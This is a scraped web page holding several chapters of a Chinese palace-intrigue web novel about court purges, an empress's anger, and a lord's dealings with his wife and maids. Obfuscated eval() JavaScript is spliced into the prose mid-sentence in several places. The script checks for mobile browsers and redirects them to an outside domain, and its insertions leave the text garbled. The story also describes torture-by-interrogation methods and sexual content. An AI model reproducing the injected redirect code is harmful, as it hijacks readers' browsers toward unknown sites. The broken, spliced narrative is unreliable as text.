就在慕容嫣要让廉强交代的时候,忽闻一阵急促的脚步声打破了殿堂内的沉重气氛,百骑司的探子如风般掠入,跪禀道:“陛下!” 慕容嫣眉宇间掠过一抹不祥之色,声音低沉而威严:“何事惊扰?” 探子神色紧张,禀报道:“陛下,刑部尚书暗中协助顾北辰,已将廉侍郎的家眷悉数接走。” 闻言,慕容嫣怒意勃发,拍案而起:“什么?!” 顾云霆亦是惊愕万分。 皇帝的耳目何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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索立文闻言,双手不由自主地颤抖,躬身行礼,声音中带着一丝不易察觉的惶恐::“下官,谢顾少谅解。 “不过。顾北辰的话语突然转折,眼神中闪过一丝戏谑,仿佛猫捉老鼠般玩弄着对方的情绪。 “以后为我顾家办事,还需索大人加倍竭诚,稍有差池,不仅是我顾北辰不会轻易饶过你,恐怕就连陛下的怒火,也不是你能承受得起的。到那时,满门抄斩,凌迟之刑,怕是在劫难逃。 “呵呵呵呵。 索立文的脸色苍白,额头上细密的汗珠不断滑落,仿佛每一滴都承载着过往沉重的罪孽。 十五年前的那场错误抉择,如同梦魇般缠绕着他每一个不眠之夜。每当夜深人静,梦境便将他拖入无尽的深渊,那里,他无数次目睹自己被残酷凌迟的惨烈景象。 那份恐惧与悔恨,如影随形,挥之不去。 因此,这些年来索立文几乎是如履薄冰,勤勉至极。 他不仅为顾家鞍前马后,尽心竭力,更在司法之路上坚守正义,未曾有丝毫偏颇。 他判定的每一桩案件,皆力求公正无私,使得他在百姓之中赢得了良好的口碑,成为众人交口称赞的清官。 然而,那深藏心底的秘密却如同一块巨石,压得他喘不过气来,提醒着他,过往的阴霾永远无法轻易抹去。 今天过后,他终于能睡个好觉了。 顾北辰已经答应他,此事永不再提。 殊不知,就在他松了口气的时候,门外突然闯进来许多御林军,其领头之人,竟是面色铁青、怒气冲冲的大太监——慕容无舌。 他身着一袭深邃蓝袍,往日手中轻摇的拂尘此刻已化作凌厉武器,所过之处,索府护院纷纷倒地,哀嚎连连。 最后他猛力一脚,将会客厅大门踹得轰然洞开。 “砰!一声巨响,震颤了室内的每一寸空气。 “陛下圣谕,着缉捕刑部尚书索立文归案! “带走! 他转向顾北辰,那双眸子里满是惊愕与无助,仿佛溺水之人紧紧抓住最后一根稻草。 “顾少!顾少,您可得救救我啊! “且慢!顾北辰也坐不住了,他猛地站起,几步跨至慕容无舌面前,语气中带着不容忽视的急切,“无舌先生,在下斗胆一问,索大人究竟所犯何罪,竟至于此? 慕容无舌的面色阴沉得能滴出水来,对于顾北辰的质问, 他非但不答反而嘴角勾起一抹冷笑:“呵你问杂家 顾北辰缓缓自衣襟内取出一锭熠熠生辉的金子双手恭敬地捧至面前目光中带着几分急切:“无舌先生可否略施点拨让我心中有数?” 慕容无舌仅是轻轻斜睨了他一眼那锭金子仿佛空气般被他无视了。 “你自己做过什么忘了?”慕容无舌的话语里藏着锋芒语调阴凉。 顾北辰的瞳孔猛地一缩心中骇然。 难道说陛下已经知道了他暗中援救廉家家眷的事情? 这怎么可能! 他确信此事密不透风绝无走漏半点风声的可能! 到底是谁把消息传出去的!? 难不成是林臻? 肯定是他! 奶奶的别让我抓到你! 否则非把你做成人彘不可! 慕容无舌嘴角勾起一抹阴冷的弧度语调中带着尖酸:“顾少恕杂家多嘴你最近的表现可真是令陛下失望透顶啊。” “带走!” 言罢就有御林军上前捆绳子顾北辰奋力挣扎眸中闪烁着不甘与愤怒:“大胆!我乃丞相之子翰林院院判尔等怎可捆我?” “放开我!”他的呼喊在夜空中回荡却似乎只激起了更深的沉默与冷漠。 四周的人仿佛听不见他的抗议直奔皇宫。 天边已泛起了鱼肚白顾北辰被粗鲁地捆绑着踉跄步入了庄严的议政殿。 慕容嫣一夜未睡眼中闪烁着难以平息的怒火心头仿佛有千斤重石压着疼痛难当。 她实在难以置信那个她曾无比信赖视为心腹重臣的顾北辰竟会堕落到如此地步。 他竟胆敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789248|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以权势压迫诱惑刑部尚书私纵朝廷钦犯此等行径无异于玩火自焚! 难道他心怀不轨妄图颠覆这大乾的江山社稷? 还是他顾北辰已然将这天下视作了自家的囊中之物了? 这种行为简直比林震仙可恶百倍千倍! 她猛地起身几步并作一步瞬间移至他面前手中紧握的百骑司密报直接甩在他脸上声音冷冽如霜:“顾北辰!枉朕对你如此信任你却胆敢践踏律法私自潜入刑部天牢将朝廷重犯带走!你该当何罪!” “陛下!臣知罪!”顾北辰身形一晃双膝跪地脸上满是惊惧。 顾云霆见状亦毫不犹豫地下跪目光恳切地望向慕容嫣。 “陛下,此事必有蹊跷,北辰向来行事谨慎,绝不会轻易犯下如此低级的错误。恳请陛下开恩,给他一个澄清误会的机会!” 慕容嫣闻言,贝齿轻咬红唇,决然言道:“好,朕便给你这个机会。说!” 顾北辰眼珠轻转,一抹机敏之色闪过眼底,随即温言解释道:“陛下,廉侍郎固然犯下了贪污之过,然此罪责实不应累及家人。微臣自幼与廉家子女交好,眼见他们即将陷入困境,心中实在难以割舍。念及陛下向来胸襟宽广,此番不过是一时之气,想必不会真正为难他们。因此,微臣斗胆,未及请示便擅自前往,将他们领了回来。” 慕容嫣面色一沉,怒意难掩,呵斥道:“你知不知道,那几人是朝廷通缉的要犯!正是由朕亲自下令,遣御林军将其拘捕,押往刑部大牢的。而你竟胆大包天,擅自行动将人救出,此刻还在这巧言令色,试图蒙混过关!” 顾北辰心急如焚,他恳切地辩解道:“陛下!廉强所犯之过尚未至于累及家人!臣实在于心不忍,望陛下能够体恤!” 一旁的顾云霆不停地给他递着眼色,那眼神中分明是在示意:赶紧借此机会,往林家身上泼点脏水。 殊不知,慕容嫣对林家的信任早就超过了顾家,即便顾北辰费尽心机,试图将罪名强加于林臻,到头来也只会是自作聪明,徒增笑柄,收效甚微。 第116章 请世子验红 慕容嫣的目光轻轻落在顾北辰那张轮廓分明的脸上心中不禁泛起一阵往昔的回忆。 曾几何时她将他视为自己的精神支柱;如今却见他公然蔑视律法对皇权视若无睹这份狂妄实在令人心寒。 是可忍孰不可忍。 慕容嫣轻旋身姿清冷的嗓音仿佛穿越了空间的束缚悠悠回荡于大殿的每一个角落:“来人拟旨。” “着大理寺即刻着手对廉强一案深入彻查不容丝毫懈怠。另调遣御林军将其眷属尽数羁押天牢任何人不得探视。至于顾北辰其人胆敢藐视王法肆意妄为明知故犯实乃国之大忌不处理不足以平民愤不贬谪不足以熄朕怒火!” “就令其贬谪为刑部员外郎责令全力追查廉家贪腐案以此将功补过戴罪立功。” 慕容嫣说完怒火未消冷声道:“今天不上朝了都滚吧!” 天边初露曙光浣碧方从严林臻的温柔束缚中轻轻挣脱随手扯过一袭薄如蝉翼的纱衣轻轻披覆于曼妙身姿之上。 然而那纱衣太过轻盈晨光穿透让她的身影在朦胧中更显绰约多姿宛如晨雾中绽放的花朵。 她缓缓起身声音细若蚊蚋轻呼一声:“世子~” 林臻见她那张俏脸已染上绯红就连耳畔也泛着羞涩的红晕无疑是情满意足的模样。 他勾起一抹温煦笑意拍了拍身旁的床榻柔声劝道:“地上凉莫要伤了身子还是回来安歇吧。” 岂料浣碧未有丝毫迟疑直接跪在了冰冷的地砖上。 膝盖触地发出“咚”地一声清晰可闻。 林臻的心猛地一揪眼中满是温柔怜惜:“傻丫头你这是干什么?” “请世子验红。”浣碧双手轻轻颤抖举起一张洁白无瑕的手帕其上点点樱花般的血迹如同晨露般点缀既凄美又惹人心疼。 林臻含笑接过那方手帕轻轻抚摸着浣碧的脸蛋声音柔和:“好好好快别跪着了地上多凉啊起来吧。” “奴婢.想去洗洗” 大战的硝烟刚刚散去浣碧轻蹙眉头对自己身上沾染的战尘与汗味颇感不适。 林臻见状点了点头轻声道:“好吧顺便拿个湿毛巾来给我也擦擦。” 浣碧闻言脸颊泛起一抹羞涩的红晕。 随即起身步履轻盈地走向旁侧的隔间。 此时 轻轻推开了房门。 映入眼帘的是林臻。 他随意地坐在床榻之上,未着寸缕,肌肤在微弱的烛光下泛着温润的光泽。 晴雯的唇角轻轻上扬,勾勒出一抹俏皮又不失细腻的笑意,声线里夹杂着丝丝缕缕的娇媚:“嘻嘻嘻,世子大人~” 林臻猛地一惊,慌忙扯过被子护住要害之处,神色中带着几分警惕:“你要干什么!” “嘻嘻嘻,世子莫要惊慌嘛~”晴雯笑得愈发欢快了,“侯春来了,已在门外静候多时了呢。” “他可说了是什么事?” 晴雯轻轻摇头:“并未细说,只说是有万分紧急之事,定要见您一面。” “告诉他,我穿衣服就出去。” “是。” 晴雯脆生生地应了,随即突然俯下身,那双充满好奇的水汪汪大眼睛沿着被子与床边的缝隙,俏皮地往里窥探。 边看边做出窃喜诡诈的表情! 林臻见状,连忙又往被子里缩了缩,生怕被她瞧见了什么。 “看什么呢,还不快去!”林臻故作嗔怒道。 “哦,是!咯咯咯~”晴雯捂着嘴,一脸心满意足地笑着退了出去,那笑声如同银铃般清脆悦耳。 很快,浣碧回来了。 手中握着湿润的手帕,细心地给林臻清理了一下,这才为他穿上贴身的衣物。 林臻走出门,首先映入眼帘的并非侯春的身影,而是凉亭之下,两位女子恬然入梦的画面。 天呐! 林臻口水险些流出来。 只见刘书瑶伏于石桌之上,青丝散落,几缕轻拂过她脸颊,添了几分柔情。 她胸前不经意间泄露了大片如雪肌肤,裙摆因姿势而紧绷,巧妙地在前胸勾勒出了一道深邃而诱人的V形线条,既含蓄又不失风情。 长裙被挽起,那双美腿便自然而然地展露无遗,肌肤白皙细腻,宛如上好的温玉,修长且匀称,优雅地交叠在石桌之下,更添几分不经意的妩媚。 精致的绣花鞋轻轻套在她的足上,未着袜子的脚趾若隐若现,透出一股难以言喻的娇柔与纯真,既清新又撩人心弦。 小翠也不甘示弱。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789249|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽无刘书瑶那般丰腴之美,却自有一番灵动可爱。一袭粉色长裙被她巧妙地改造成了超短裙的模样,紧紧包裹着她娇俏的臀部与饱满的胸脯,中间的裙摆仿佛被春风裁剪,露出肚脐,恰到好处地表现了她青春的活力与俏皮。 这样的装扮,既不失少女的纯真,又 巧妙地增添了几分成长的韵味,让人不禁眼前一亮。 这两个女人是怎么了? 疯了? 侯春背对着凉亭,目光紧锁于前方,对于身后的刘书瑶和小翠,他连眼角余光都不敢轻易投射,生怕林臻出来挖了他的眼睛。 林臻收回目光,问道:“猴子,怎么了?” 侯春闻言,嘴角勾起一抹苦笑,似乎对林臻的“持久战”颇感无奈:“世子!!您终于结束了!您这时间也太长了吧?” 林臻干咳两声,以掩饰心中的尴尬:“咳咳,少废话,说事儿。” “哦,两个时辰前的得到的消息,廉家已经被御林军查抄,除了廉强以外,家中所有女眷、丫鬟以及仆役,无一幸免,尽数被押解至刑部大牢,等候发落。” 此事于林臻而言,丝毫不觉突兀。 慕容嫣今日之举,明摆着是要将廉家抄个底朝天,再从中狠捞一笔。 她对金钱的渴望,已然炽热到了近乎痴迷的地步, 林臻淡然一笑,道:“意料之中的事情,还有别的事情吗?” “说来也是离奇,那索立文不知是哪根筋搭错了,竟将廉强一家老小拱手送给了顾北辰。现在廉家所有人都在顾家府上呢。” “啊?”林臻闻言,不禁瞪圆了双目,一脸愕然。 顾北辰竟胆大包天地私下解救了廉强的家人? 这不是疯了,简直是狂妄至极! 慕容嫣如今手握百骑司,消息灵通得堪比插翅之鸽。 你如此堂而皇之地将人劫走,岂不是在向慕容嫣的眼中钉上狠狠插了一刀? 厉害,真是厉害! 牛逼,确实牛逼! 这回估计索立文也GG了。 顾家派系的几个大佬,廉家,索家,刘家,都被顾北辰给折腾没了。 从此以后,顾家就和光杆司令差不多了。 天意啊。 第117章 带刘书瑶去游街示众! 侯春神色紧绷,面容中带着几分狠戾:“世子,要不要带兵包围索府?万一索立文跑了怎么办? “跑?呵,往哪跑啊。林臻露出一丝冷笑:“你都知道了的事情,慕容嫣肯定也知道了,估计这个时候御林军已经将索立文带走了。 “那就看着点他的家眷,总之我们不能什么也不做吧? “虽说狡兔三窟,但事发突然,慕容嫣根本就没有给索立文反应的机会。他的家眷肯定也都被带回刑部了,绝没有跑掉的可能。 “世子,那索家是不是完了? “不一定,虽然索立文犯的是重罪,但如果他检举其他贪官,兴许能保住一命。毕竟陛下还是舍不得杀以前那些老臣的。 “陛下优柔寡断,要是我,直接将所有贪官都宰了!还大乾一个朗朗乾坤! “哈哈哈哈。林臻笑着拍了拍侯春的肩膀:“所以你只能给我当护卫。 “我 “这不怪你,以你的阅历和经验,还没办法想到杀光之后的事情。这么说吧,贪官自古便有,绵绵不绝,但为什么没有皇帝采用杀光这个简单粗暴的方式呢? 林臻今天心情不错,尤其是看着两个睡美女露出的白花花美腿,更是心情大好,所以就和侯春多说了两句。 “究其原因,主要是权力真空和机构运转的问题。如果一夜之间大量贪官员被清除,会在短时间内造成权力真空。朝廷机构的正常运转依赖于各个职位上的人员履行职责。突然失去大量人员会使许多行政事务、公共服务等陷入混乱。 “其次便是社会恐慌和信任危机。这种极端的方式会引发社会的恐慌情绪。百姓可能会对整个朝廷体系产生过度的怀疑和不信任,觉得朝廷治理体系存在巨大问题。而且,这种恐慌情绪可能会蔓延到经济领域,影响市场信心,导致商贾投资减少、物价波动等不良后果。 侯春都听傻了:“世子,您这一会儿体系一会儿危机的,属下不懂啊。 “不懂就算了。你看吧,从今天开始,朝堂恐怕要迎来一轮大清洗。 “为什么?侯春一脸困惑。 “陛下不会放过廉强这个高级官员,肯定会从他身上套出更多贪官的名字,然后好从中谋利。她现在想钱都快想疯了。 侯春更加迷茫了。 “世子,您刚才不是还说陛下不会把他们杀光吗? 林臻淡淡颔 首,一副理所当然的样子:“是啊,陛下不会对其他贪官动刀,但夺走他们的违法所得还是很有必要的,想要命,就把钱交出来。然后该干什么干什么,就这么简单。 知道说多了侯春也听不懂,于是林臻打算结束这次谈话:“你多安排些人盯着顾家派系的官员,其余事情一律不许插手,静观其变吧。 “是。 侯春急匆匆离开,眼睛始终盯着地面,不敢往刘书瑶方向看上一眼。 而林臻则是望着远方逐渐升起的太阳,露出一丝坐山观虎斗的笑容。 “要变天喽。 廉强连夜被带回大理寺。 大理寺卿宋力是顾云霆的人,但现在慕容嫣下了狠心,任何人都不能为廉强说情。 只要廉强还想活下去,就必须透露出足够的信息,否则他将生死两难。 衙门里从来就没有善男信女,包括在后世也是同样。 不管是衙役、师爷,还是判官,他们都受过很专业的训练。知道在查不出外伤的情况下,怎么打人最难受。 基本他们想得到的东西,就没有审不出来的,而且事后拿他们没有任何办法。 林臻就见过一个衙役行刑。 先是在犯人胸口垫三本书,然后用婴儿手臂粗的短棍狠狠往下砸,这样既打不出外伤,又能让犯人生不如死。 还有水刑,这也是比较常见的审讯手段。 犯人躺在行刑椅上,口鼻遮上毛巾,使劲往他嘴里倒水。犯人只要呼吸就会呛到,不呼吸又不行,最可怕的是用辣椒水.呛一下,那真是想死的心都有。 还有关禁闭也是个狠招,而且这也是唯一被各国认可的惩罚。但这招对普通人好用,对职业杀手或者孤独患者则没什么用处。 还有算了,又不兴说了。 但林臻可以很负责任的告诉大家,关禁闭绝对没有想象的那么简单,很多人宁可挨打也绝不关禁闭,甚至有权威机构说,关禁闭超过七天就会出人命。 晨光浓烈的晌午,刘书瑶在一声轻柔却略带几分无奈的喷嚏中悠悠醒来。 “呵啾! 她轻揉着那小巧而挺翘的鼻梁,缓缓坐直了身子,一股莫名的酸楚与疲惫瞬间席卷全身,仿佛每一个细胞都在诉说着夜的漫长与不适。 她定了定神,愕然发现自己仍旧在卧房门口的凉亭里,她不禁怒拍石桌:“砰!岂有此理!竟然让我在这睡了一夜!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789250|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 言罢她又狠狠地打了个喷嚏:“哈切! 完蛋 ,自己肯定是伤风了。 可恶的林臻,我早晚要你死在我肚皮上! 刘书瑶心中暗骂一句,不满地戳了戳身旁沉睡的小翠:“你这懒猪,还睡呢!人家都没搭理我们!” 小翠被这一戳弄醒了,迷迷糊糊地眨巴着眼睛看向刘书瑶:“小姐,谁没搭理我们啊?” “还能是谁,林臻啊!”刘书瑶没好气地说道。 “啊?”一听林臻的名字,小翠这才恍然大悟,焦急地问道:“那怎么办啊小姐,我们都穿成这个样子了,林臻还是不动心啊!” “哼,我还就不信了,昨天他着急睡浣碧,我看你今天睡谁!” “走,我们晚上再来!” 刘书瑶踏着修长的双腿,引领着小翠去往自己的厢房,沿途对一名驻足的男子厉声臭骂道:“看什么看!再看挖了你的眼睛!” “混账!”一声怒喝,震颤空气。 刘书瑶因寒夜侵袭,眼眸略显迷离,待她定睛一瞧,竟是林震仙! 林震仙怒不可遏,胡须根根竖立,他颤抖的手指直指刘书瑶与小翠:“你们穿成这个样子想干什么?又开始想男人了是不是?我孙儿怎么就娶了你这样下贱的女人?来人!” “在!”两名护卫大喝一声。 刘书瑶闻言,吓得花容失色,膝盖一软,顿时跪倒在地,颤声求饶:“祖父息怒啊!孙媳知错了。” 小翠见状,也连忙跪在刘书瑶身旁,泪水在眼眶里打转,却只是嘤嘤啜泣,不敢多言。 林震仙气得脸色铁青,他一手叉腰,一手指着地上的两个女子,怒声道:“来人,把这两个不知检点的贱妇带出去游街示众!” “是!”护卫们应声领命,准备上前。 “祖父!”刘书瑶见状,绝望地大哭起来,声音中带着无尽的哀求:“祖父,您开开恩吧!孙媳若是穿成这样去游街,哪还有脸活在世上啊!” 小翠也哭得更加伤心,泪水如断了线的珠子般滚落而下,却仍是不敢发出一丝声响。 林震仙气坏了,脸色涨红:“你还有脸哭?身为王府少夫人,竟然穿得不如个娼妓,成何体统?” 言毕,他凌厉的目光转向了两个呆立的护卫,喝道:“你们还愣在这里做什么?难道还要老夫亲自动手吗?” “是!” 第118章 轻点,浣碧还小呢 卧房内,林臻刚整理好裤头,长袍还没穿好便听到外面传来的动静。 他与浣碧目光交汇,彼此的眼底都闪烁着难以掩饰的惊愕。 “听那声音,似是夫人?浣碧的语气中带着几分急切。 林臻赶紧披上外袍冲出去。 倒不是说他有多在乎刘书瑶,那个贱女人就算死了林臻也不会有任何心疼,但是王府的脸面绝不能丢! 一旦刘书瑶被拉到大街上游行,那王府的脸可就丢尽了。 这种丑闻定会成为街头巷尾,茶余饭后的谈资。三五年内,王府少夫人被游街的笑话都将如影随形,挥之不去。 届时,谁还会跟林家合作? 林臻疾步穿过庭院,恰逢两名身量魁梧的护卫正架着刘书瑶与小翠,步步向外。刘书瑶形容凌乱,发丝纠缠于指尖,泪水涟涟,哭得梨花带雨,宛如一只无助的小花猫。 “祖父!孙媳知错了! “孙媳再也不敢了呜呜呜! 小翠也哭得稀里哗啦:“老爷呜呜呜呜。 “且慢!林臻一声断喝,两名护卫立刻止步。 刘书瑶泪光闪烁,声嘶力竭地呼唤:“夫君,救我!! 林震仙的目光如寒冰般刺向林臻,脸色阴沉得仿佛能滴出水来,他压低嗓音,语气中满是不悦::“臻儿,这样的女人不配王府夫人,此事你莫要阻拦! “祖父,请听孙儿一言。 “滚!老夫不想听你狡辩,此等下贱的女人你不管,老夫替你管!林震仙怒目而视,语气决绝。 “祖父!刘书瑶虽然下贱,但她毕竟还是王府的少夫人,若贸然将她拖出去游街示众,王府的颜面何存?时下大乾风云变幻,局势微妙,我们行事更需谨小慎微,以免节外生枝,惹来不必要的祸端啊! “够了!林震仙的怒意依旧未消,厉声打断,“你上次便承诺会妥善处理此事,可这贱妇却愈发肆无忌惮。她竟敢如此打扮在王府中随意走动,全无半点礼教与羞耻之心。若不加以严惩,日后恐将更无法无天! “祖父的意思孙儿明白。然而,时下朝局风云变幻,正是我等需谨慎布局之时。让刘书瑶去游街,无异于在风口浪尖上摇曳王府的声誉之舟,此举非但无益,反倒可能让顾家趁机渔翁得利。 “孙儿保证,这次绝对会给您个满意的答复。 林震仙的面庞上,终于浮现出一丝迟疑的波纹,那是权衡利弊后的微妙动摇。 现场死一般的寂静。 林震仙不说话林臻也不敢再劝两名护卫也呆立当场就连刘书瑶和小翠都止住了哭声。 “哼。”林震仙一挥衣袖两名护卫立刻会意悄然退至一旁。 刘书瑶见状忙不迭地向前蠕动了几步意图躲到林臻的身后。 却不料林臻身形一转那双血丝密布的眼眸如利刃般直射向她厉声道:“还愣着干什么?赶紧回去换衣服!” “是”刘书瑶的声音细若蚊蚋 可恶的林臻。 若非是你我何至于此? 若非你的出现我本该夜夜依偎在北辰温暖的怀抱哪里会遭受这等屈辱与委屈! 你等着我刘书瑶对天发誓一定会让你死在我肚皮上! 步入厢房途中的刘书瑶身形一顿猛然回首眼中闪烁着怨毒与阴鸷的光芒狠狠地剜了林臻一眼。 这一幕恰好落入了林震仙的眼中他心中顿时明了:“臻儿这个女人恐怕已经恨上你了若是聪明就尽早除掉绝不能留。” 林臻虽未亲眼目睹刘书瑶那怨毒的眼神但对她对自己的恨意却心知肚明。 她对顾北辰痴心一片而自己却对她毫无怜悯之心屡屡施以苛责与折磨不恨就怪了。 林臻之所以留着她除了找个床搭子之外更多是希望能够利用她来让顾北辰犯错误。 顾北辰已为她屡次破戒底线尽失再用这招肯定是不行了。 唉也罢。 林臻轻叹一声摇了摇头眼中闪过一丝决绝。 如果她还是那么的不识时务那便杀了吧。 还是那句话对林臻来讲刘书瑶不是妻子而是敌人。 而且是那种不死不休的敌人。 他邀请林震仙进屋:“祖父先进来休息吧?” 林震仙微微颔首步履从容地向前。 “陛下没有召你入宫吗?” 正常来讲这个时辰林臻应该是在皇宫里的但今天却在家。 林震仙也颇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789251|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感意外。 难不成这小子已经感觉到了什么? 恰逢浣碧轻移莲步刚从内室走出。她衣衫初整青丝犹带几分晨起的慵懒与凌乱略显羞涩地向林震仙福了一福。 “王爷.” 林震仙望向她目光中满含慈爱与温煦仿佛是在凝视着自己心中理想的孙媳与先前对刘书瑶那杀意盎然狰狞恐怖的眼神截然不同。 浣碧被他那不正经的目光盯得浑身不自在,偷偷咽了口香津说道:“老爷,若没事情,奴婢去干活了。” 林震仙轻唤一声,语气中带着不容置疑的威严,却又莫名地柔和了几分,“往后那些琐碎杂务,便交由其他丫鬟打理吧,你只需全心全意侍奉臻儿便是。” 林臻斜倚在门框边,嘴角勾起一抹玩味的笑,眼神中满是好奇与揣测。 心说这老爷子今天是怎么了?一会儿怒气冲冲,一会儿又慈眉善目的。 难不成他真打算让浣碧来当王府少夫人? 嘶.不可能。 林震仙是深受传统思想毒害的人,其心中阶级之分犹如铜墙铁壁。 让浣碧做正室夫人,实乃天方夜谭。 但退一步做妾,再让慕容嫣给个诰命夫人的虚名成脸面,应该没什么问题。 浣碧闻言,心中涌起一丝不易察觉的暖流,却仍带着几分畏缩,轻声细语道:“多谢老爷厚爱,只是世子这里琐事太多,那些小丫头做不来,还是奴婢亲自动手的好。” 林震仙听后,面上的笑意愈发温和,仿佛春日暖阳,令人心生暖意。浣碧见状,轻轻福了一福,道:“老爷,那奴婢这便去忙了。” 言罢她急匆匆地离开现场。 林臻缓步至桌旁,自然而然地拎起一把椅子,轻轻安放,示意林震仙就座。 此乃家中礼数,不容有失。 林震仙并未觉有何异样,只是目光不经意间掠过床上那片未及收拾的凌乱,不禁蹙起眉头,转向林臻,语重心长道。 “浣碧确实是温婉可人,但你也得轻点啊。昨夜叫那么大声,连唐三都听见了,然后汪汪汪的和你一起叫!” 林震仙没好气地看着他:“你这么多年不要脸习惯了,可人家浣碧还小呢。” 第119章 和这样青涩的姑娘...感觉很新奇! 林臻尴尬地摸了摸鼻子一时语塞不知道应该怎么回答他。 难道说昨天是我们俩的第一次? 老爷子也得信啊。 不过说浣碧小是真的不管是年龄还是胸脯。 但她也已经及笄了是可以嫁人生孩子的之前下不去手也是过不去自己心里那关。 后来想想既然都来到古代了自己总应该做出点改变吧? 既然改变不了古人但能被古人改变也是好的。 尤其在这件事情上 实话讲林臻还是第一次和这样青涩的姑娘共赴巫山感觉很新奇! 咳咳。 罢了还是换个话题吧。 林臻轻轻提起那壶尚带着余温的茶水动作娴熟地为林震仙斟满一盏。 以前他总奇怪为什么茶壶里的水总是温热的后来他才知道原来每隔一个时辰便有细心的丫鬟悄无声息地进屋替换新水甚至林臻都不知道这个丫鬟是谁。 晶莹的水珠自壶嘴轻盈跃下落入茶盏发出悦耳的声响。林臻双手奉上姿态恭敬至极林震仙缓缓接过浅酌一口后林臻方轻声开口。 “不知道祖父今天因为什么事情突然过来?” “哦对了说正事。今天早上很多官员都没来上朝你可知道是为什么?”林震仙的目光如炬透着一丝探询与审视。 林臻心中暗自哂笑觉得他这样试探自己实在是太可笑了。 像个孩子似的。 “祖父大人难道对此毫不知情?” 林震仙的声音里带着几分不悦:“废话老夫要知道还会问你?” “孙儿可不信您在京城里没有任何眼线别人不说那林安肯定就是那些眼线的首领对吧?” 林震仙闻言不由得微微一愣旋即露出一丝讶异之色:“呦?你小子是真有长进啊。” “呵呵呵。”林臻悠然自得地为自己也斟满了一杯酒那份从容不迫仿佛他才是那高高在上的王爷“这四九城里的官员 林震仙的声音低沉而有力宛如古钟回荡:“吏部尚书葛青户部尚书谷中满刑部侍郎、员外郎礼部侍郎.” 他一口气列举了许多朝廷重臣每个名字都掷地有声。 林臻在一旁听着心中暗自惊叹。 他甚至都怀疑廉强是不是乱咬的。 按常理来说揭发个一两个贪官污吏也就罢了可 他倒好,几乎是把所有官员都得罪了个底朝天。 如此一来,他的家人往后在大乾还怎么立足? 常言道:断人财路,犹如杀人父母。 廉强一张嘴,轻描淡写地就把那些官员多年来积攒的赃款给悉数抖搂了出来。 导致他们彻底大出血,以后全家恐怕都得勒紧裤腰带过日子。 他们能不恨得咬牙切齿,想方设法地报复吗? 唉,可怜的廉强啊。 你仅剩的九个儿子,一个月后能活下来半个就不错了。 林震仙言罢,目光未曾稍离林臻的面容,似乎在细细捕捉着每一寸情绪的变化。蓦地,他心中泛起一阵诧异。 然林臻非但没有丝毫惊讶之色,反而眉宇间流露出一抹淡淡的惋惜。 这是何故? 林震仙温和而深沉地问道:“臻儿,你是什么想法?” 林臻恍若从沉思中抽离,眼神复归清明,缓缓言道:“祖父,但凡有官员落马,背后必有铁证如山,无可辩驳。只是狡兔三窟,被举报的官员不会把所有钱财都悉数上交的。对此事,我们自当置身事外,保持清正。” “但与此同时,扶持新兴之士,培植栋梁之才,却是刻不容缓。您不妨将那些您深信不疑、才德兼备的官员适时举荐上去,方能确保朝纲稳固,后继有人。” 林震仙对举官的事情不为所动,只关注着钱财的事情。 他问道:“你的意思是,陛下在敛财?” “正是,和官员相比,陛下才是大乾最穷的豪门。他在顾家的事情上尝到了甜头,所以这次打算利用廉强这个高级官员,来揪出其他贪官,逼他们交出赃款。可悲的是,此计虽妙,却难以奏效,陛下能从中捞得的油水恐怕寥寥无几。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 